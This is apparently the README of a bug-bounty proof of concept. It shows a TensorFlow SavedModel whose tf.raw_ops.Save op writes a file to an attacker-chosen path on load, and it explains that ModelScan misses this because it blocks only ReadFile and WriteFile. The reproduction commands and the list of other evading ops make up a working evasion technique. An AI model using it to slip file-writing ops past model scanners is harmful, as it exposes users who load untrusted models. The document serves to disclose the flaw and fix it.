STEVETHEONE/modelscan-tf-savedmodel-poc

PoC — ModelScan TensorFlow SavedModel scanner evasion (undetected file write via tf.raw_ops.Save)

This SavedModel is a security PoC for the huntr Model File Formats program (target: TensorFlow Saved Model). It demonstrates that protectai/modelscan does not detect a malicious file-write op that is not on its 2-entry op blocklist (ReadFile/WriteFile).

What it does

The model's inference @tf.function contains:

tf.raw_ops.Save(filename="/tmp/pwned_tfsave",
                tensor_names=["pwned"],
                data=[tf.constant([1337], dtype=tf.int32)])

Save writes a file to an attacker-controlled absolute path when the model is loaded and run — the same threat class as WriteFile (which ModelScan flags HIGH), but invisible to the scanner.

Reproduce

pip install "modelscan[tensorflow]" tensorflow

# 1) ModelScan reports CLEAN on this malicious model:
modelscan -p ./        #  ->  " No issues found! 🎉 "

# 2) Loading + running it writes the attacker file:
python -c "import tensorflow as tf; tf.saved_model.load('.')(tf.constant(1.0))"
ls -l /tmp/pwned_tfsave   #  -> file written by the undetected Save op

For contrast, the identical model built with tf.raw_ops.WriteFile is flagged by ModelScan as Total Issues: 1, HIGH: 1.

Root cause

modelscan/scanners/saved_model/scan.py → _check_for_unsafe_tf_keras_operator only flags ops in {ReadFile, WriteFile}; every other recognized public tf.raw_ops (incl. Save, SaveV2, SaveSlices, MatchingFiles) falls into the else: continue "safe" branch.